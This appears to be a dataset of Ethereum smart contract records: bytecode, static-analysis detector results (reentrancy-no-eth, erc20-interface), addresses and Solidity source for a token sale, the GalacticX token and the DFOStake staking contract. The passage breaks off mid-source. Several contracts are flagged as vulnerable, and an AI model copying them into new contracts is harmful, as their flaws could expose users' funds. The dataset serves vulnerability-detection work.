0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063bcd2f64a11610066578063bcd2f64a146102ac578063c8d8b6fa146102da578063e3b8686514610308578063f2fde38b14610336576100f5565b8063715018a6146102305780638da5cb5b1461023a578063a43be57b1461026e578063b071cbe61461028e576100f5565b80632f48ab7d116100d35780632f48ab7d14610166578063402914f51461019a5780634738a883146101f257806359ccecc914610212576100f5565b806304c98b2b146100fa57806324f32f821461011a5780632c4e722e14610148575b600080fd5b61010261037a565b60405180821515815260200191505060405180910390f35b6101466004803603602081101561013057600080fd5b8101908080359060200190929190505050610474565b005b610150610546565b6040518082815260200191505060405180910390f35b61016e61054c565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6101dc600480360360208110156101b057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610572565b6040518082815260200191505060405180910390f35b6101fa61058a565b60405180821515815260200191505060405180910390f35b61021a61059d565b6040518082815260200191505060405180910390f35b6102386105a3565b005b610242610729565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610276610752565b60405180821515815260200191505060405180910390f35b61029661084c565b6040518082815260200191505060405180910390f35b6102d8600480360360208110156102c257600080fd5b8101908080359060200190929190505050610852565b005b610306600480360360208110156102f057600080fd5b8101908080359060200190929190505050610bd2565b005b6103346004803603602081101561031e57600080fd5b8101908080359060200190929190505050610d5a565b005b6103786004803603602081101561034c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e2c565b005b6000610384611037565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610444576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600360006101000a81548160ff021916908315150217905550600360009054906101000a900460ff16905090565b61047c611037565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461053c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b8060058190555050565b60015481565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60046020528060005260406000206000915090505481565b600360009054906101000a900460ff1681565b60025481565b6105ab611037565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461066b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600061075c611037565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461081c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6001600360006101000a81548160ff021916908315150217905550600360009054906101000a900460ff16905090565b60055481565b60001515600360009054906101000a900460ff161515146108be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806116716022913960400191505060405180910390fd5b60006108d56001548361103f90919063ffffffff16565b9050600061092b82600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110c590919063ffffffff16565b9050600554610a06600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156109bc57600080fd5b505afa1580156109d0573d6000803e3d6000fd5b505050506040513d60208110156109e657600080fd5b8101908080519060200190929190505050856110c590919063ffffffff16565b1115610a7a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f4861726463617020666f722074686520746f6b656e732072656163686564000081525060200191505060405180910390fd5b600254610a92600154836110e190919063ffffffff16565b1115610b06576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f457863656564656420616c6c6f77656420757365722062616c616e636500000081525060200191505060405180910390fd5b610b33600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16338561112b565b5080600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507f62871c7b30027ac68155027c44a377be338ed75154b830a8b7fb419e2cb9a4533383604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a1505050565b610bda611037565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c9a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60011515600360009054906101000a900460ff16151514610d23576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f5468652070726573616c65206973206e6f74206f76657200000000000000000081525060200191505060405180910390fd5b610d57600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610d51611037565b8361145c565b50565b610d62611037565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e22576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b8060028190555050565b610e34611037565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ef4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610f7a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806116936026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b60008083141561105257600090506110bf565b600082840290508284828161106357fe5b04146110ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806116b96021913960400191505060405180910390fd5b809150505b92915050565b6000808284019050838110156110d757fe5b8091505092915050565b600061112383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611593565b905092915050565b60008084905060008573ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561119a57600080fd5b505afa1580156111ae573d6000803e3d6000fd5b505050506040513d60208110156111c457600080fd5b810190808051906020019092919050505090508173ffffffffffffffffffffffffffffffffffffffff166323b872dd8630876040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050600060405180830381600087803b15801561126657600080fd5b505af115801561127a573d6000803e3d6000fd5b5050505060003d6000811461129657602081146112a057600080fd5b60001991506112ac565b60206000803e60005191505b5080611320576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f544f4b454e5f5452414e534645525f494e5f4641494c4544000000000000000081525060200191505060405180910390fd5b60008773ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561138957600080fd5b505afa15801561139d573d6000803e3d6000fd5b505050506040513d60208110156113b357600080fd5b810190808051906020019092919050505090508281101561143c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f544f4b454e5f5452414e534645525f494e5f4f564552464c4f5700000000000081525060200191505060405180910390fd5b61144f838261165990919063ffffffff16565b9450505050509392505050565b60008390508073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b1580156114d257600080fd5b505af11580156114e6573d6000803e3d6000fd5b5050505060003d60008114611502576020811461150c57600080fd5b6000199150611518565b60206000803e60005191505b508061158c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f544f4b454e5f5452414e534645525f4f55545f4641494c45440000000000000081525060200191505060405180910390fd5b5050505050565b6000808311829061163f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156116045780820151818401526020810190506115e9565b50505050905090810190601f1680156116315780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161164b57fe5b049050809150509392505050565b60008282111561166557fe5b81830390509291505056fe70726573616c65206973206f76657220796f752063616e6e6f7420627579206e6f774f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a2646970667358221220e92b48018c016205087408dd5811f93f89d2f9781145a0a68584bb1db075fdd964736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
5,488
0x5c13a9ad2601eeec34672c655d2ca994a360c4a0
pragma solidity ^0.4.16; contract owned { address public owner; function owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; } } interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract TokenERC20 { // Public variables of the token string public name; string public symbol; uint8 public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ function TokenERC20( uint256 initialSupply, string tokenName, string tokenSymbol ) public { totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value > balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` in behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens in your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply Burn(msg.sender, _value); return true; } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender&#39;s allowance totalSupply -= _value; // Update totalSupply Burn(_from, _value); return true; } } /******************************************/ /* ADVANCED TOKEN STARTS HERE */ /******************************************/ contract GalacticX is owned, TokenERC20 { uint256 public sellPrice; uint256 public buyPrice; mapping (address => bool) public frozenAccount; /* This generates a public event on the blockchain that will notify clients */ event FrozenFunds(address target, bool frozen); /* Initializes contract with initial supply tokens to the creator of the contract */ function GalacticX( uint256 initialSupply, string tokenName, string tokenSymbol ) TokenERC20(initialSupply, tokenName, tokenSymbol) public {} /* Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead require (balanceOf[_from] >= _value); // Check if the sender has enough require (balanceOf[_to] + _value > balanceOf[_to]); // Check for overflows require(!frozenAccount[_from]); // Check if sender is frozen require(!frozenAccount[_to]); // Check if recipient is frozen balanceOf[_from] -= _value; // Subtract from the sender balanceOf[_to] += _value; // Add the same to the recipient Transfer(_from, _to, _value); } /// @notice Create `mintedAmount` tokens and send it to `target` /// @param target Address to receive the tokens /// @param mintedAmount the amount of tokens it will receive function mintToken(address target, uint256 mintedAmount) onlyOwner public { balanceOf[target] += mintedAmount; totalSupply += mintedAmount; Transfer(0, this, mintedAmount); Transfer(this, target, mintedAmount); } /// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens /// @param target Address to be frozen /// @param freeze either to freeze it or not function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; FrozenFunds(target, freeze); } /// @notice Allow users to buy tokens for `newBuyPrice` eth and sell tokens for `newSellPrice` eth /// @param newSellPrice Price the users can sell to the contract /// @param newBuyPrice Price users can buy from the contract function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public { sellPrice = newSellPrice; buyPrice = newBuyPrice; } /// @notice Buy tokens from contract by sending ether function buy() payable public { uint amount = msg.value / buyPrice; // calculates the amount _transfer(this, msg.sender, amount); // makes the transfers } /// @notice Sell `amount` tokens to contract /// @param amount amount of tokens to be sold function sell(uint256 amount) public { require(this.balance >= amount * sellPrice); // checks if the contract has enough ether to buy _transfer(msg.sender, this, amount); // makes the transfers msg.sender.transfer(amount * sellPrice); // sends ether to the seller. It&#39;s important to do this last to avoid recursion attacks } }
0x606060405236156101255763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305fefda7811461012a57806306fdde0314610145578063095ea7b3146101d057806318160ddd1461020657806323b872dd1461022b578063313ce5671461026757806342966c68146102905780634b750334146102ba57806370a08231146102df57806379c650681461031057806379cc6790146103345780638620410b1461036a5780638da5cb5b1461038f57806395d89b41146103be578063a6f2ae3a14610449578063a9059cbb14610453578063b414d4b614610477578063cae9ca51146104aa578063dd62ed3e14610523578063e4849b321461055a578063e724529c14610572578063f2fde38b14610598575b600080fd5b341561013557600080fd5b6101436004356024356105b9565b005b341561015057600080fd5b6101586105e4565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101955780820151818401525b60200161017c565b50505050905090810190601f1680156101c25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101db57600080fd5b6101f2600160a060020a0360043516602435610682565b604051901515815260200160405180910390f35b341561021157600080fd5b6102196106b3565b60405190815260200160405180910390f35b341561023657600080fd5b6101f2600160a060020a03600435811690602435166044356106b9565b604051901515815260200160405180910390f35b341561027257600080fd5b61027a610731565b60405160ff909116815260200160405180910390f35b341561029b57600080fd5b6101f260043561073a565b604051901515815260200160405180910390f35b34156102c557600080fd5b6102196107c6565b60405190815260200160405180910390f35b34156102ea57600080fd5b610219600160a060020a03600435166107cc565b60405190815260200160405180910390f35b341561031b57600080fd5b610143600160a060020a03600435166024356107de565b005b341561033f57600080fd5b6101f2600160a060020a03600435166024356108a6565b604051901515815260200160405180910390f35b341561037557600080fd5b610219610983565b60405190815260200160405180910390f35b341561039a57600080fd5b6103a2610989565b604051600160a060020a03909116815260200160405180910390f35b34156103c957600080fd5b610158610998565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101955780820151818401525b60200161017c565b50505050905090810190601f1680156101c25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610143610a36565b005b341561045e57600080fd5b610143600160a060020a0360043516602435610a57565b005b341561048257600080fd5b6101f2600160a060020a0360043516610a67565b604051901515815260200160405180910390f35b34156104b557600080fd5b6101f260048035600160a060020a03169060248035919060649060443590810190830135806020601f82018190048102016040519081016040528181529291906020840183838082843750949650610a7c95505050505050565b604051901515815260200160405180910390f35b341561052e57600080fd5b610219600160a060020a0360043581169060243516610bb0565b60405190815260200160405180910390f35b341561056557600080fd5b610143600435610bcd565b005b341561057d57600080fd5b610143600160a060020a03600435166024351515610c2e565b005b34156105a357600080fd5b610143600160a060020a0360043516610cbc565b005b60005433600160a060020a039081169116146105d457600080fd5b600782905560088190555b5b5050565b60018054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561067a5780601f1061064f5761010080835404028352916020019161067a565b820191906000526020600020905b81548152906001019060200180831161065d57829003601f168201915b505050505081565b600160a060020a03338116600090815260066020908152604080832093861683529290522081905560015b92915050565b60045481565b600160a060020a038084166000908152600660209081526040808320339094168352929052908120548211156106ee57600080fd5b600160a060020a0380851660009081526006602090815260408083203390941683529290522080548390039055610726848484610d04565b5060015b9392505050565b60035460ff1681565b600160a060020a0333166000908152600560205260408120548290101561076057600080fd5b600160a060020a03331660008181526005602052604090819020805485900390556004805485900390557fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca59084905190815260200160405180910390a25060015b919050565b60075481565b60056020526000908152604090205481565b60005433600160a060020a039081169116146107f957600080fd5b600160a060020a03808316600090815260056020526040808220805485019055600480548501905530909216917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9084905190815260200160405180910390a381600160a060020a031630600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405190815260200160405180910390a35b5b5050565b600160a060020a038216600090815260056020526040812054829010156108cc57600080fd5b600160a060020a03808416600090815260066020908152604080832033909416835292905220548211156108ff57600080fd5b600160a060020a038084166000818152600560209081526040808320805488900390556006825280832033909516835293905282902080548590039055600480548590039055907fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca59084905190815260200160405180910390a25060015b92915050565b60085481565b600054600160a060020a031681565b60028054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561067a5780601f1061064f5761010080835404028352916020019161067a565b820191906000526020600020905b81548152906001019060200180831161065d57829003601f168201915b505050505081565b600060085434811515610a4557fe5b049050610a53303383610d04565b5b50565b6105df338383610d04565b5b5050565b60096020526000908152604090205460ff1681565b600083610a898185610682565b15610ba75780600160a060020a0316638f4ffcb1338630876040518563ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018085600160a060020a0316600160a060020a0316815260200184815260200183600160a060020a0316600160a060020a0316815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610b405780820151818401525b602001610b27565b50505050905090810190601f168015610b6d5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b1515610b8e57600080fd5b6102c65a03f11515610b9f57600080fd5b505050600191505b5b509392505050565b600660209081526000928352604080842090915290825290205481565b6007548102600160a060020a033016311015610be857600080fd5b610bf3333083610d04565b33600160a060020a03166108fc60075483029081150290604051600060405180830381858888f193505050501515610a5357600080fd5b5b50565b60005433600160a060020a03908116911614610c4957600080fd5b600160a060020a03821660009081526009602052604090819020805460ff19168315151790557f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a5908390839051600160a060020a039092168252151560208201526040908101905180910390a15b5b5050565b60005433600160a060020a03908116911614610cd757600080fd5b6000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b5b50565b600160a060020a0382161515610d1957600080fd5b600160a060020a03831660009081526005602052604090205481901015610d3f57600080fd5b600160a060020a03821660009081526005602052604090205481810111610d6557600080fd5b600160a060020a03831660009081526009602052604090205460ff1615610d8b57600080fd5b600160a060020a03821660009081526009602052604090205460ff1615610db157600080fd5b600160a060020a038084166000818152600560205260408082208054869003905592851680825290839020805485019055917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9084905190815260200160405180910390a35b5050505600a165627a7a72305820347ef2fb74ef04812af120a682507d7029ac2a4a723a314be558022c943ba8400029
{"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
5,489
0xb68fb8b447fdb011b23ce960031e5b485800ac56
pragma solidity ^0.7.1; contract DFOStake { address private constant UNISWAP_V2_FACTORY = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f; address private constant UNISWAP_V2_ROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; address private WETH_ADDRESS = IUniswapV2Router(UNISWAP_V2_ROUTER).WETH(); address[] private TOKENS; mapping(uint256 => uint256) private _totalPoolAmount; uint256[] private TIME_WINDOWS; uint256[] private REWARD_MULTIPLIERS; uint256[] private REWARD_DIVIDERS; uint256[] private REWARD_SPLIT_TRANCHES; address private _doubleProxy; struct StakeInfo { address sender; uint256 poolPosition; uint256 firstAmount; uint256 secondAmount; uint256 poolAmount; uint256 reward; uint256 endBlock; uint256[] partialRewardBlockTimes; uint256 splittedReward; } uint256 private _startBlock; mapping(uint256 => mapping(uint256 => StakeInfo)) private _stakeInfo; mapping(uint256 => uint256) private _stakeInfoLength; event Staked(address indexed sender, uint256 indexed tier, uint256 indexed poolPosition, uint256 firstAmount, uint256 secondAmount, uint256 poolAmount, uint256 reward, uint256 endBlock, uint256[] partialRewardBlockTimes, uint256 splittedReward); event Withdrawn(address sender, address indexed receiver, uint256 indexed tier, uint256 indexed poolPosition, uint256 firstAmount, uint256 secondAmount, uint256 poolAmount, uint256 reward); event PartialWithdrawn(address sender, address indexed receiver, uint256 indexed tier, uint256 reward); constructor(uint256 startBlock, address doubleProxy, address[] memory tokens, uint256[] memory timeWindows, uint256[] memory rewardMultipliers, uint256[] memory rewardDividers, uint256[] memory rewardSplitTranches) public { _startBlock = startBlock; _doubleProxy = doubleProxy; for(uint256 i = 0; i < tokens.length; i++) { TOKENS.push(tokens[i]); } assert(timeWindows.length == rewardMultipliers.length && rewardMultipliers.length == rewardDividers.length && rewardDividers.length == rewardSplitTranches.length); for(uint256 i = 0; i < timeWindows.length; i++) { TIME_WINDOWS.push(timeWindows[i]); } for(uint256 i = 0; i < rewardMultipliers.length; i++) { REWARD_MULTIPLIERS.push(rewardMultipliers[i]); } for(uint256 i = 0; i < rewardDividers.length; i++) { REWARD_DIVIDERS.push(rewardDividers[i]); } for(uint256 i = 0; i < rewardSplitTranches.length; i++) { REWARD_SPLIT_TRANCHES.push(rewardSplitTranches[i]); } } function doubleProxy() public view returns(address) { return _doubleProxy; } function tokens() public view returns(address[] memory) { return TOKENS; } function tierData() public view returns(uint256[] memory, uint256[] memory, uint256[] memory, uint256[] memory) { return (TIME_WINDOWS, REWARD_MULTIPLIERS, REWARD_DIVIDERS, REWARD_SPLIT_TRANCHES); } function startBlock() public view returns(uint256) { return _startBlock; } function totalPoolAmount(uint256 poolPosition) public view returns(uint256) { return _totalPoolAmount[poolPosition]; } function setDoubleProxy(address newDoubleProxy) public { require(IMVDFunctionalitiesManager(IMVDProxy(IDoubleProxy(_doubleProxy).proxy()).getMVDFunctionalitiesManagerAddress()).isAuthorizedFunctionality(msg.sender), "Unauthorized Action!"); _doubleProxy = newDoubleProxy; } function emergencyFlush() public { IMVDProxy proxy = IMVDProxy(IDoubleProxy(_doubleProxy).proxy()); require(IMVDFunctionalitiesManager(proxy.getMVDFunctionalitiesManagerAddress()).isAuthorizedFunctionality(msg.sender), "Unauthorized Action!"); address walletAddress = proxy.getMVDWalletAddress(); address tokenAddress = proxy.getToken(); IERC20 token = IERC20(tokenAddress); uint256 balanceOf = token.balanceOf(address(this)); if(balanceOf > 0) { token.transfer(walletAddress, balanceOf); } balanceOf = 0; for(uint256 i = 0; i < TOKENS.length; i++) { token = IERC20(IUniswapV2Factory(UNISWAP_V2_FACTORY).getPair(tokenAddress, TOKENS[i])); balanceOf = token.balanceOf(address(this)); if(balanceOf > 0) { token.transfer(walletAddress, balanceOf); _totalPoolAmount[i] = 0; } balanceOf = 0; } } function stake(uint256 tier, uint256 poolPosition, uint256 originalFirstAmount, uint256 firstAmountMin, uint256 value, uint256 secondAmountMin) public payable { require(block.number >= _startBlock, "Staking is still not available"); require(poolPosition < TOKENS.length, "Unknown Pool"); require(tier < TIME_WINDOWS.length, "Unknown tier"); require(originalFirstAmount > 0, "First amount must be greater than 0"); uint256 originalSecondAmount = TOKENS[poolPosition] == WETH_ADDRESS ? msg.value : value; require(originalSecondAmount > 0, "Second amount must be greater than 0"); IMVDProxy proxy = IMVDProxy(IDoubleProxy(_doubleProxy).proxy()); address tokenAddress = proxy.getToken(); _transferTokensAndCheckAllowance(tokenAddress, originalFirstAmount); _transferTokensAndCheckAllowance(TOKENS[poolPosition], originalSecondAmount); address secondToken = TOKENS[poolPosition]; (uint256 firstAmount, uint256 secondAmount, uint256 poolAmount) = _createPoolToken(originalFirstAmount, firstAmountMin, originalSecondAmount, secondAmountMin, tokenAddress, secondToken); _totalPoolAmount[poolPosition] += poolAmount; (uint256 minCap,, uint256 remainingToStake) = getStakingInfo(tier); require(firstAmount >= minCap, "Amount to stake is less than the current min cap"); require(firstAmount <= remainingToStake, "Amount to stake must be less than the current remaining one"); calculateRewardAndAddStakingPosition(tier, poolPosition, firstAmount, secondAmount, poolAmount, proxy); } function getStakingInfo(uint256 tier) public view returns(uint256 minCap, uint256 hardCap, uint256 remainingToStake) { (minCap, hardCap) = getStakingCap(tier); remainingToStake = hardCap; uint256 length = _stakeInfoLength[tier]; for(uint256 i = 0; i < length; i++) { if(_stakeInfo[tier][i].endBlock > block.number) { remainingToStake -= _stakeInfo[tier][i].firstAmount; } } } function getStakingCap(uint256 tier) public view returns(uint256, uint256) { IStateHolder stateHolder = IStateHolder(IMVDProxy(IDoubleProxy(_doubleProxy).proxy()).getStateHolderAddress()); string memory tierString = _toString(tier); string memory addressString = _toLowerCase(_toString(address(this))); return ( stateHolder.getUint256(string(abi.encodePacked("staking.", addressString, ".tiers[", tierString, "].minCap"))), stateHolder.getUint256(string(abi.encodePacked("staking.", addressString, ".tiers[", tierString, "].hardCap"))) ); } function _transferTokensAndCheckAllowance(address tokenAddress, uint256 value) private { if(tokenAddress == WETH_ADDRESS) { return; } IERC20 token = IERC20(tokenAddress); token.transferFrom(msg.sender, address(this), value); if(token.allowance(address(this), UNISWAP_V2_ROUTER) <= value) { token.approve(UNISWAP_V2_ROUTER, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff); } } function _createPoolToken(uint256 originalFirstAmount, uint256 firstAmountMin, uint256 originalSecondAmount, uint256 secondAmountMin, address firstToken, address secondToken) private returns(uint256 firstAmount, uint256 secondAmount, uint256 poolAmount) { if(secondToken == WETH_ADDRESS) { (firstAmount, secondAmount, poolAmount) = IUniswapV2Router(UNISWAP_V2_ROUTER).addLiquidityETH{value: originalSecondAmount}( firstToken, originalFirstAmount, firstAmountMin, secondAmountMin, address(this), block.timestamp + 1000 ); } else { (firstAmount, secondAmount, poolAmount) = IUniswapV2Router(UNISWAP_V2_ROUTER).addLiquidity( firstToken, secondToken, originalFirstAmount, originalSecondAmount, firstAmountMin, secondAmountMin, address(this), block.timestamp + 1000 ); } if(firstAmount < originalFirstAmount) { IERC20(firstToken).transfer(msg.sender, originalFirstAmount - firstAmount); } if(secondAmount < originalSecondAmount) { if(secondToken == WETH_ADDRESS) { 